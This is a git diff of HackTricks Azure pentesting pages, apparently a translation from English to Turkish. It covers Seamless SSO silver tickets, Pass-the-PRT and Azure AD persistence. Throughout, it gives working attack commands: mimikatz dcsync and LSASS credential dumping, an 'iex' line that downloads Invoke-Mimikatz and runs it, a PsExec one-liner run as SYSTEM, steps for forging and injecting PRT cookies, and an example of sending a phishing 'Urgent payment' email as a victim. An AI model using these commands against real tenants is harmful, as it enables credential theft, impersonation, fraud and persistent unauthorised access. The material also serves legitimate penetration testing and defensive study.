**`AZUREADSSOACC$`** şifresi **asla değişmez**. Bu nedenle, bir alan yöneticisi bu hesabın **hash'ini ele geçirebilir** ve ardından **herhangi bir yerel kullanıcı senkronize edilmiş** olarak Azure'a bağlanmak için **gümüş biletler** oluşturmak için kullanabilir: ```powershell # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' - mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit +mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit # Dump hash using https://github.com/MichaelGrafnetter/DSInternals Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local @@ -39,9 +38,7 @@ Import-Module DSInternals $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` - -With the hash you can now **generate silver tickets**: - +Hash ile artık **gümüş biletler** oluşturabilirsiniz: ```powershell # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -56,66 +53,57 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com ## Send email Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." ``` - To utilize the silver ticket, the following steps should be executed: -1. **Initiate the Browser:** Mozilla Firefox should be launched. -2. **Configure the Browser:** - - Navigate to **`about:config`**. - - Set the preference for [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) to the specified [values](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically): - - `https://aadg.windows.net.nsatc.net` - - `https://autologon.microsoftazuread-sso.com` -3. **Access the Web Application:** - - Visit a web application that is integrated with the organization's AAD domain. A common example is [Office 365](https://portal.office.com/). -4. **Authentication Process:** - - At the logon screen, the username should be entered, leaving the password field blank. - - To proceed, press either TAB or ENTER. +1. **Tarayıcıyı Başlatın:** Mozilla Firefox başlatılmalıdır. +2. **Tarayıcıyı Yapılandırın:** +- **`about:config`** sayfasına gidin. +- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) için tercihi belirtilen [değerlere](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) ayarlayın: +- `https://aadg.windows.net.nsatc.net` +- `https://autologon.microsoftazuread-sso.com` +3. **Web Uygulamasına Erişim:** +- Kuruluşun AAD alanı ile entegre bir web uygulamasını ziyaret edin. Yaygın bir örnek [Office 365](https://portal.office.com/)’dir. +4. **Kimlik Doğrulama Süreci:** +- Giriş ekranında, kullanıcı adı girilmeli, şifre alanı boş bırakılmalıdır. +- Devam etmek için TAB veya ENTER tuşuna basın. > [!TIP] -> This doesn't bypass MFA if enabled +> Bu, MFA etkinse atlatmaz -#### Option 2 without dcsync - SeamlessPass +#### Dcsync olmadan Seçenek 2 - SeamlessPass -It's also possible to perform this attack **without a dcsync attack** to be more stealth as [explained in this blog post](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). For that you only need one of the following: +Bu saldırıyı **dcsync saldırısı olmadan** daha gizli bir şekilde gerçekleştirmek de mümkündür, [bu blog yazısında açıklandığı gibi](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Bunun için yalnızca aşağıdakilerden birine ihtiyacınız var: -- **A compromised user's TGT:** Even if you don't have one but the user was compromised,you can get one using fake TGT delegation trick implemented in many tools such as [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) and [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). -- **Golden Ticket**: If you have the KRBTGT key, you can create the TGT you need for the attacked user. -- **A compromised user’s NTLM hash or AES key:** SeamlessPass will communicate with the domain controller with this information to generate the TGT -- **AZUREADSSOACC$ account NTLM hash or AES key:** With this info and the user’s Security Identifier (SID) to attack it's possible to create a service ticket an authenticate with the cloud (as performed in the previous method). - -Finally, with the TGT it's possible to use the tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) with: +- **Bir tehlikeye atılmış kullanıcının TGT'si:** Eğer bir tane yoksa ama kullanıcı tehlikeye atıldıysa, birçok araçta uygulanan sahte TGT delegasyonu hilesi kullanılarak bir tane elde edilebilir, örneğin [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) ve [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). +- **Golden Ticket**: Eğer KRBTGT anahtarına sahipseniz, saldırıya uğrayan kullanıcı için gerekli TGT'yi oluşturabilirsiniz. +- **Bir tehlikeye atılmış kullanıcının NTLM hash'i veya AES anahtarı:** SeamlessPass, bu bilgi ile etki alanı denetleyicisi ile iletişim kurarak TGT'yi oluşturacaktır. +- **AZUREADSSOACC$ hesabı NTLM hash'i veya AES anahtarı:** Bu bilgi ve saldırı yapılacak kullanıcının Güvenlik Tanımlayıcısı (SID) ile bir hizmet bileti oluşturmak ve bulut ile kimlik doğrulamak mümkündür (önceki yöntemde olduğu gibi). +Son olarak, TGT ile [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) aracını kullanmak mümkündür: ``` seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt ``` +Daha fazla bilgi için Firefox'un kesintisiz SSO ile çalışmasını sağlamak üzere [**bu blog yazısında**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) bulunabilir. -Further information to set Firefox to work with seamless SSO can be [**found in this blog post**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). +#### ~~Bulut yalnızca kullanıcılar için Kerberos biletleri oluşturma~~ -#### ~~Creating Kerberos tickets for cloud-only users~~ - -If the Active Directory administrators have access to Azure AD Connect, they can **set SID for any cloud-user**. This way Kerberos **tickets** can be **created also for cloud-only users**. The only requirement is that the SID is a proper [SID](). +Eğer Active Directory yöneticileri Azure AD Connect'e erişime sahipse, **herhangi bir bulut kullanıcısı için SID ayarlayabilirler**. Bu şekilde Kerberos **biletleri** **bulut yalnızca kullanıcılar için de oluşturulabilir**. Tek gereklilik, SID'nin uygun bir [SID]() olmasıdır. > [!CAUTION] -> Changing SID of cloud-only admin users is now **blocked by Microsoft**.\ -> For info check [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) +> Bulut yalnızca yönetici kullanıcıların SID'sini değiştirmek artık **Microsoft tarafından engellenmiştir**.\ +> Bilgi için [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -### On-prem -> Cloud via Resource Based Constrained Delegation - -Anyone that can manage computer accounts (`AZUREADSSOACC$`) in the container or OU this account is in, it can **configure a resource based constrained delegation over the account and access it**. +### On-prem -> Bulut, Kaynak Tabanlı Kısıtlı Delegasyon ile +Bu hesabın bulunduğu konteyner veya OU'da bilgisayar hesaplarını yönetebilen herkes, **hesap üzerinde kaynak tabanlı kısıtlı delegasyonu yapılandırabilir ve ona erişebilir**. ```python python rbdel.py -u \\ -p azureadssosvc$ ``` - -## References +## Referanslar - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) - [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) +- [TR19: Bulutundayım, herkesin e-postalarını okuyorum - Active Directory aracılığıyla Azure AD'yi hackleme](https://www.youtube.com/watch?v=JEIR5oGCwdg) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index b09d8a841..f26b7f97d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -2,77 +2,72 @@ {{#include ../../../banners/hacktricks-training.md}} -## What is a PRT +## PRT Nedir {{#ref}} az-primary-refresh-token-prt.md {{#endref}} -### Check if you have a PRT - +### PRT'niz olup olmadığını kontrol edin ``` Dsregcmd.exe /status ``` - -In the SSO State section, you should see the **`AzureAdPrt`** set to **YES**. +SSO Durumu bölümünde, **`AzureAdPrt`** değerinin **EVET** olarak ayarlandığını görmelisiniz.
-In the same output you can also see if the **device is joined to Azure** (in the field `AzureAdJoined`): +Aynı çıktıda, **cihazın Azure'a katılıp katılmadığını** da görebilirsiniz ( `AzureAdJoined` alanında):
-## PRT Cookie - -The PRT cookie is actually called **`x-ms-RefreshTokenCredential`** and it's a JSON Web Token (JWT). A JWT contains **3 parts**, the **header**, **payload** and **signature**, divided by a `.` and all url-safe base64 encoded. A typical PRT cookie contains the following header and body: +## PRT Çerezi +PRT çerezi aslında **`x-ms-RefreshTokenCredential`** olarak adlandırılır ve bir JSON Web Token (JWT) içerir. Bir JWT, **3 bölüm** içerir: **başlık**, **yük** ve **imza**, `.` ile ayrılmış ve tümü url güvenli base64 ile kodlanmıştır. Tipik bir PRT çerezi aşağıdaki başlık ve gövdeyi içerir: ```json { - "alg": "HS256", - "ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383" +"alg": "HS256", +"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383" } { - "refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA", - "is_primary": "true", - "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" +"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA", +"is_primary": "true", +"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` +Gerçek **Primary Refresh Token (PRT)**, **`refresh_token`** içinde kapsüllenmiştir ve bu, Azure AD'nin kontrolü altındaki bir anahtar ile şifrelenmiştir, bu da içeriğini bizim için opak ve şifrelenemez hale getirir. **`is_primary`** alanı, bu token içinde birincil yenileme token'ının kapsüllendiğini belirtir. Cookie'nin, hedeflendiği belirli oturumla bağlı kalmasını sağlamak için, `request_nonce` `logon.microsoftonline.com` sayfasından iletilir. -The actual **Primary Refresh Token (PRT)** is encapsulated within the **`refresh_token`**, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field **`is_primary`** signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the `request_nonce` is transmitted from the `logon.microsoftonline.com` page. +### TPM kullanarak PRT Cookie akışı -### PRT Cookie flow using TPM +**LSASS** süreci, **KDF bağlamını** TPM'ye gönderecek ve TPM, **session key** (cihaz AzureAD'ye kaydedildiğinde toplanan ve TPM'de saklanan) ve önceki bağlamı kullanarak bir **anahtar türetecek** ve bu **türetilmiş anahtar**, **PRT cookie'sini (JWT)** imzalamak için kullanılacaktır. -The **LSASS** process will send to the TPM the **KDF context**, and the TPM will used **session key** (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to **derivate** a **key,** and this **derived key** is used to **sign the PRT cookie (JWT).** +**KDF bağlamı**, AzureAD'den bir nonce ve PRT'yi içeren bir **JWT** ile karıştırılmış bir **bağlamdır** (rastgele baytlar). -The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed with a **context** (random bytes). - -Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**. +Bu nedenle, PRT TPM içinde bulunduğu için çıkarılamasa da, LSASS'ı kötüye kullanarak **yeni bağlamlardan türetilmiş anahtarlar talep etmek ve üretilen anahtarları Cookie'leri imzalamak için kullanmak** mümkündür.
-## PRT Abuse Scenarios +## PRT Kötüye Kullanım Senaryoları -As a **regular user** it's possible to **request PRT usage** by asking LSASS for SSO data.\ -This can be done like **native apps** which request tokens from **Web Account Manager** (token broker). WAM pasess the request to **LSASS**, which asks for tokens using signed PRT assertion. Or it can be down with **browser based (web) flow**s where a **PRT cookie** is used as **header** to authenticate requests to Azure AS login pages. +**Normal bir kullanıcı** olarak, LSASS'tan SSO verileri talep ederek **PRT kullanımını talep etmek** mümkündür.\ +Bu, **Web Account Manager**'dan (token broker) token talep eden **yerel uygulamalar** gibi yapılabilir. WAM, talebi **LSASS**'a iletir ve LSASS, imzalı PRT beyanı kullanarak token talep eder. Ya da **PRT cookie'sinin** Azure AS giriş sayfalarına yapılan talepleri kimlik doğrulamak için **header** olarak kullanıldığı **tarayıcı tabanlı (web) akışları** ile yapılabilir. -As **SYSTEM** you could **steal the PRT if not protected** by TPM or **interact with PRT keys in LSASS** using crypto APIs. +**SYSTEM** olarak, eğer TPM ile korunmuyorsa **PRT'yi çalabilir** veya **LSASS'ta PRT anahtarları ile etkileşimde bulunabilirsiniz**. -## Pass-the-PRT Attack Examples +## Pass-the-PRT Saldırı Örnekleri -### Attack - ROADtoken +### Saldırı - ROADtoken -For more info about this way [**check this post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken will run **`BrowserCore.exe`** from the right directory and use it to **obtain a PRT cookie**. This cookie can then be used with ROADtools to authenticate and **obtain a persistent refresh token**. - -To generate a valid PRT cookie the first thing you need is a nonce.\ -You can get this with: +Bu yöntem hakkında daha fazla bilgi için [**bu gönderiyi kontrol edin**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken, doğru dizinden **`BrowserCore.exe`** çalıştıracak ve bunu **PRT cookie'si elde etmek** için kullanacaktır. Bu cookie daha sonra ROADtools ile kimlik doğrulamak ve **kalıcı bir yenileme token'ı elde etmek** için kullanılabilir. +Geçerli bir PRT cookie'si oluşturmak için ilk ihtiyacınız olan bir nonce'dur.\ +Bunu şu şekilde alabilirsiniz: ```powershell $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" $Params = @{ - "URI" = $URL - "Method" = "POST" +"URI" = $URL +"Method" = "POST" } $Body = @{ "grant_type" = "srv_challenge" @@ -81,27 +76,19 @@ $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body $Result.Nonce AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` - -Or using [**roadrecon**](https://github.com/dirkjanm/ROADtools): - +Veya [**roadrecon**](https://github.com/dirkjanm/ROADtools) kullanarak: ```powershell roadrecon auth prt-init ``` - -Then you can use [**roadtoken**](https://github.com/dirkjanm/ROADtoken) to get a new PRT (run in the tool from a process of the user to attack): - +Sonra yeni bir PRT almak için [**roadtoken**](https://github.com/dirkjanm/ROADtoken) kullanabilirsiniz (saldırı için kullanıcının bir sürecinden aracı çalıştırın): ```powershell .\ROADtoken.exe ``` - -As oneliner: - +Bir satırlık: ```powershell Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` - -Then you can use the **generated cookie** to **generate tokens** to **login** using Azure AD **Graph** or Microsoft Graph: - +Sonra **oluşturulan çerezi** kullanarak **jetonlar oluşturabilir** ve Azure AD **Graph** veya Microsoft Graph kullanarak **giriş yapabilirsiniz**: ```powershell # Generate roadrecon auth --prt-cookie @@ -109,13 +96,11 @@ roadrecon auth --prt-cookie # Connect Connect-AzureAD --AadAccessToken --AccountId ``` +### Saldırı - roadrecon Kullanarak -### Attack - Using roadrecon - -### Attack - Using AADInternals and a leaked PRT - -`Get-AADIntUserPRTToken` **gets user’s PRT token** from the Azure AD joined or Hybrid joined computer. Uses `BrowserCore.exe` to get the PRT token. +### Saldırı - AADInternals ve sızdırılmış PRT Kullanarak +`Get-AADIntUserPRTToken` **kullanıcının PRT token'ını** Azure AD bağlı veya Hibrit bağlı bilgisayardan alır. PRT token'ını almak için `BrowserCore.exe` kullanır. ```powershell # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -123,9 +108,7 @@ $prtToken = Get-AADIntUserPRTToken # Get an access token for AAD Graph API and save to cache Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` - -Or if you have the values from Mimikatz you can also use AADInternals to generate a token: - +Ya da Mimikatz'tan değerleriniz varsa, bir token oluşturmak için AADInternals'ı da kullanabilirsiniz: ```powershell # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -153,40 +136,36 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken # Verify access and connect with Az. You can see account id in mimikatz prt output Connect-AzAccount -AccessToken $AT -TenantID -AccountId ``` - -Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie. - +[https://login.microsoftonline.com](https://login.microsoftonline.com) adresine gidin, login.microsoftonline.com için tüm çerezleri temizleyin ve yeni bir çerez girin. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] Path: / HttpOnly: Set to True (checked) ``` - -Then go to [https://portal.azure.com](https://portal.azure.com) +Sonra [https://portal.azure.com](https://portal.azure.com) adresine gidin. > [!CAUTION] -> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good. +> Geri kalanlar varsayılan olmalıdır. Sayfayı yenileyebildiğinizden ve çerezin kaybolmadığından emin olun, eğer kaybolursa bir hata yapmış olabilirsiniz ve süreci tekrar gözden geçirmeniz gerekebilir. Eğer kaybolmuyorsa, her şey yolunda olmalıdır. -### Attack - Mimikatz +### Saldırı - Mimikatz -#### Steps +#### Adımlar -1. The **PRT (Primary Refresh Token) is extracted from LSASS** (Local Security Authority Subsystem Service) and stored for subsequent use. -2. The **Session Key is extracted next**. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) and for an understanding of its application, refer to [Pass-the-cookie attack](az-pass-the-cookie.md). -3. Post decryption of the Session Key, the **derived key and context for the PRT are obtained**. These are crucial for the **creation of the PRT cookie**. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). +1. **PRT (Birincil Yenileme Token'ı) LSASS'tan** (Yerel Güvenlik Otoritesi Alt Sistem Servisi) çıkarılır ve sonraki kullanım için saklanır. +2. **Oturum Anahtarı daha sonra çıkarılır**. Bu anahtar başlangıçta verildiği ve ardından yerel cihaz tarafından yeniden şifrelenmesi gerektiğinden, bir DPAPI anahtar kelimesi kullanılarak şifre çözme gerektirir. DPAPI (Veri Koruma API) hakkında ayrıntılı bilgi bu kaynaklarda bulunabilir: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) ve uygulamasını anlamak için [Pass-the-cookie attack](az-pass-the-cookie.md) referansına bakabilirsiniz. +3. Oturum Anahtarı şifresi çözüldükten sonra, **PRT için türetilmiş anahtar ve bağlam elde edilir**. Bunlar **PRT çerezi oluşturmak için** kritik öneme sahiptir. Özellikle, türetilmiş anahtar, çerezi oluşturan JWT'yi (JSON Web Token) imzalamak için kullanılır. Bu sürecin kapsamlı bir açıklaması Dirk-jan tarafından sağlanmıştır, [buradan](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) erişebilirsiniz. > [!CAUTION] -> Note that if the PRT is inside the TPM and not inside `lsass` **mimikatz won't be able to extract it**.\ -> However, it will be possible to g**et a key from a derive key from a context** from the TPM and use it to **sign a cookie (check option 3).** +> PRT'nin TPM içinde ve `lsass` içinde değilse, **mimikatz bunu çıkaramayacaktır**.\ +> Ancak, TPM'den bir bağlamdan türetilmiş bir anahtar almak ve bunu **bir çerezi imzalamak için kullanmak** mümkün olacaktır (seçenek 3'ü kontrol edin). -You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +Bu ayrıntıları çıkarmak için gerçekleştirilen sürecin **derinlemesine açıklamasını** burada bulabilirsiniz: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] -> This won't exactly work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his. - -You can use **mimikatz** to extract the PRT: +> Bu, yalnızca kullanıcı kendi PRT'sini alabileceğinden, diğer kullanıcıların PRT token'larını almak için Ağustos 2021 düzeltmelerinden sonra tam olarak çalışmayacaktır (yerel bir yönetici diğer kullanıcıların PRT'lerine erişemez), ancak kendi PRT'sine erişebilir. +**mimikatz** kullanarak PRT'yi çıkarabilirsiniz: ```powershell mimikatz.exe Privilege::debug @@ -196,93 +175,76 @@ Sekurlsa::cloudap iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' ``` - (Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
-**Copy** the part labeled **Prt** and save it.\ -Extract also the session key (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) which you can see highlighted below. This is encrypted and we will need to use our DPAPI masterkeys to decrypt it. +**Prt** olarak etiketlenmiş kısmı **kopyalayın** ve kaydedin.\ +Ayrıca aşağıda vurgulanan **`ProofOfPossesionKey`** alanının **`KeyValue`**'sini de çıkarın. Bu şifrelenmiştir ve bunu çözmek için DPAPI anahtarlarımıza ihtiyacımız olacak.
> [!NOTE] -> If you don’t see any PRT data it could be that you **don’t have any PRTs** because your device isn’t Azure AD joined or it could be you are **running an old version** of Windows 10. - -To **decrypt** the session key you need to **elevate** your privileges to **SYSTEM** to run under the computer context to be able to use the **DPAPI masterkey to decrypt it**. You can use the following commands to do so: +> Eğer herhangi bir PRT verisi görmüyorsanız, bunun nedeni **PRT'nizin olmaması** olabilir çünkü cihazınız Azure AD ile bağlı değil ya da **eski bir Windows 10 sürümü** kullanıyor olabilirsiniz. +Oturum anahtarını **şifrelemek için** yetkilerinizi **SYSTEM** seviyesine **yükseltmeniz** gerekiyor, böylece bilgisayar bağlamında çalışarak **DPAPI anahtarını kullanarak şifreleyebilirsiniz**. Bunu yapmak için aşağıdaki komutları kullanabilirsiniz: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect ``` -
-#### Option 1 - Full Mimikatz +#### Seçenek 1 - Tam Mimikatz -- Now you want to copy both the Context value: +- Şimdi hem Context değerini kopyalamak istiyorsunuz:
-- And the derived key value: +- Hem de türetilmiş anahtar değerini:
-- Finally you can use all this info to **generate PRT cookies**: - +- Son olarak, bu bilgileri **PRT çerezleri oluşturmak için** kullanabilirsiniz: ```bash Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] ``` -
-- Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie. - +- [https://login.microsoftonline.com](https://login.microsoftonline.com) adresine gidin, login.microsoftonline.com için tüm çerezleri temizleyin ve yeni bir çerez girin. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] Path: / HttpOnly: Set to True (checked) ``` - -- Then go to [https://portal.azure.com](https://portal.azure.com) +- Sonra [https://portal.azure.com](https://portal.azure.com) adresine gidin. > [!CAUTION] -> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good. +> Geri kalanlar varsayılan olmalıdır. Sayfayı yenileyebildiğinizden ve çerezin kaybolmadığından emin olun, eğer kaybolursa bir hata yapmış olabilirsiniz ve süreci tekrar gözden geçirmeniz gerekebilir. Eğer kaybolmazsa, her şey yolunda olmalıdır. -#### Option 2 - roadrecon using PRT - -- Renew the PRT first, which will save it in `roadtx.prt`: +#### Seçenek 2 - roadrecon kullanarak PRT +- Öncelikle PRT'yi yenileyin, bu `roadtx.prt` dosyasına kaydedilecektir: ```bash roadtx prt -a renew --prt --prt-sessionkey ``` - -- Now we can **request tokens** using the interactive browser with `roadtx browserprtauth`. If we use the `roadtx describe` command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim. - +- Artık `roadtx browserprtauth` ile etkileşimli tarayıcı kullanarak **token talep edebiliriz**. `roadtx describe` komutunu kullanırsak, erişim tokeninin bir MFA talebi içerdiğini görürüz çünkü bu durumda kullandığım PRT de bir MFA talebine sahipti. ```bash roadtx browserprtauth roadtx describe < .roadtools_auth ``` -
-#### Option 3 - roadrecon using derived keys - -Having the context and the derived key dumped by mimikatz, it's possible to use roadrecon to generate a new signed cookie with: +#### Seçenek 3 - roadrecon türetilmiş anahtarlar kullanarak +Mimikatz tarafından dökülen bağlam ve türetilmiş anahtar ile, roadrecon kullanarak yeni bir imzalı çerez oluşturmak mümkündür: ```bash roadrecon auth --prt-cookie --prt-context --derives-key ``` - -## References +## Referanslar - [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/) - [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index e418fb5e6..e1a7844ff 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -2,54 +2,45 @@ {{#include ../../../banners/hacktricks-training.md}} -### Illicit Consent Grant +### Yasadışı İzin Verme -By default, any user can register an application in Azure AD. So you can register an application (only for the target tenant) that needs high impact permissions with admin consent (an approve it if you are the admin) - like sending mail on a user's behalf, role management etc.T his will allow us to **execute phishing attacks** that would be very **fruitful** in case of success. +Varsayılan olarak, herhangi bir kullanıcı Azure AD'de bir uygulama kaydedebilir. Bu nedenle, yüksek etki izinlerine ihtiyaç duyan (ve eğer admin iseniz onaylayabileceğiniz) bir uygulama kaydedebilirsiniz - örneğin, bir kullanıcının adına mail gönderme, rol yönetimi vb. Bu, başarılı olması durumunda çok **verimli** olacak **oltalama saldırıları** gerçekleştirmemizi sağlayacaktır. -Moreover, you could also accept that application with your user as a way to maintain access over it. +Ayrıca, bu uygulamayı kullanıcı olarak kabul ederek ona erişimi sürdürme yolunu da seçebilirsiniz. -### Applications and Service Principals +### Uygulamalar ve Hizmet Prensipleri -With privileges of Application Administrator, GA or a custom role with microsoft.directory/applications/credentials/update permissions, we can add credentials (secret or certificate) to an existing application. +Uygulama Yöneticisi, GA veya microsoft.directory/applications/credentials/update izinlerine sahip özel bir rol ile, mevcut bir uygulamaya kimlik bilgileri (gizli anahtar veya sertifika) ekleyebiliriz. -It's possible to **target an application with high permissions** or **add a new application** with high permissions. +Yüksek izinlere sahip bir **uygulamayı hedef almak** veya **yüksek izinlere sahip yeni bir uygulama eklemek** mümkündür. -An interesting role to add to the application would be **Privileged authentication administrator role** as it allows to **reset password** of Global Administrators. - -This technique also allows to **bypass MFA**. +Uygulamaya eklemek için ilginç bir rol, **Ayrıcalıklı kimlik doğrulama yöneticisi rolü** olacaktır çünkü bu, Küresel Yöneticilerin **şifresini sıfırlama** yetkisi verir. +Bu teknik ayrıca **MFA'yı atlatmayı** da sağlar. ```powershell $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a ``` - 